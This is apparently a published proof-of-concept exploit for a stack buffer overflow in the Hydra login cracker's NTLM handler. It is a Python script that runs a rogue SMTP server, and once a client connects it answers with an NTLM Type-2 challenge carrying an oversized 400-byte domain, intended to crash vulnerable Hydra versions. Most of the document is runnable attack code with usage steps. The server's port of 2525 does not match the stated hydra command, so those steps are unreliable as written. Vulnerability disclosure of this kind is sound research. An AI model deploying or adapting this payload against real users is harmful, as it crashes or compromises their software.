📄 Hydra Stack Buffer Overflow

# Exploit Title:    Hydra - Stack Buffer Overflow 
    # CVE:                   CVE-2026-56766
    # Date:                  2026-06-26
    # Exploit Author:        Mohammed Idrees Banyamer
    # Author Country:        Jordan
    # Instagram:             @banyamer_security
    # Author GitHub:         https://github.com/mbanyamer
    # Author Blog  :         https://banyamersecurity.com/blog/
    # Vendor Homepage:       https://github.com/vanhauser-thc/thc-hydra
    # Software Link:         https://github.com/vanhauser-thc/thc-hydra
    # Affected:              Hydra <= 9.7
    # Tested on:             Hydra 9.5 (Ubuntu 22.04)
    # Category:              Remote
    # Platform:              Linux
    # Exploit Type:          Stack Buffer Overflow
    # CVSS:                  7.5
    # Description:           Malicious NTLM Type-2 challenge with excessively long domain
    #                        causes stack buffer overflow in Hydra's NTLM authentication handler
    #                        (SMTP, POP3, IMAP, etc. modules).
    # Fixed in:              https://github.com/vanhauser-thc/thc-hydra/commit/9cc84c20e75f5fef6bb1790bb9ada2afad2204e2
    # Usage:
    #   python3 exploit.py
    #
    # Examples:
    #   python3 exploit.py
    #
    # Notes:
    #   • Run this PoC server first, then launch vulnerable Hydra against it.
    #   • Triggers SIGSEGV in vulnerable versions.
    #
    # How to Use
    #
    # Step 1: Run the exploit server: python3 exploit.py
    # Step 2: Run Hydra: hydra -l test -p test 127.0.0.1 smtp
    
    def banner():
        print(r"""
    ╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
    ║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
    ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝
    ║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
    ║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
            ╔═╗ Banyamer Security ╔═╗
    """)
    
    import socket
    import base64
    import struct
    import threading
    import time
    import sys
    
    NTLMSSP_SIGNATURE = b"NTLMSSP\x00"
    NTLM_TYPE_2 = 2
    
    def create_ntlm_type2_challenge():
        challenge = bytearray(NTLMSSP_SIGNATURE)
        challenge += struct.pack("<I", NTLM_TYPE_2)
        
        domain_name = b"A" * 400
        domain_len = len(domain_name)
        
        flags = 0x00008201
        server_challenge = b"\x11\x22\x33\x44\x55\x66\x77\x88"
        reserved = b"\x00" * 8
        target_name_offset = 48
        
        challenge += struct.pack("<HHI", domain_len, domain_len, target_name_offset)
        challenge += struct.pack("<I", flags)
        challenge += server_challenge
        challenge += reserved
        challenge += b"\x00" * 8
        challenge += domain_name
        
        return challenge
    
    class SMTPServer:
        def __init__(self, host='0.0.0.0', port=2525):
            self.host = host
            self.port = port
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            
        def handle_client(self, client, addr):
            client.send(b"220 poc-smtp-server ESMTP Ready\r\n")
            
            while True:
                try:
                    data = client.recv(4096).decode('utf-8', errors='ignore').strip()
                    if not data:
                        break
                        
                    if data.upper().startswith("EHLO") or data.upper().startswith("HELO"):
                        client.send(b"250-OK\r\n250 AUTH NTLM\r\n")
                    
                    elif data.upper().startswith("AUTH NTLM"):
                        client.send(b"334 NTLM\r\n")
                        
                    elif len(data) > 10:
                        type2 = create_ntlm_type2_challenge()
                        b64_type2 = base64.b64encode(type2).decode('ascii')
                        client.send(f"334 {b64_type2}\r\n".encode())
                        
                        time.sleep(1)
                        client.recv(8192)
                        client.send(b"235 Authentication successful (fake)\r\n")
                        break
                    
                    elif data.upper().startswith("QUIT"):
                        client.send(b"221 Bye\r\n")
                        break
                    
                except:
                    break
            
            client.close()
        
        def start(self):
            self.sock.bind((self.host, self.port))
            self.sock.listen(5)
            print(f"[+] Malicious SMTP server listening on {self.host}:{self.port}")
            print("[+] Run: hydra -l test -p test 127.0.0.1 smtp")
            
            while True:
                client, addr = self.sock.accept()
                threading.Thread(target=self.handle_client, args=(client, addr), daemon=True).start()
    
    if __name__ == "__main__":
        banner()
        try:
            server = SMTPServer()
            server.start()
        except KeyboardInterrupt:
            print("\n[+] Server stopped")
        except Exception as e:
            print(f"[-] Error: {e}")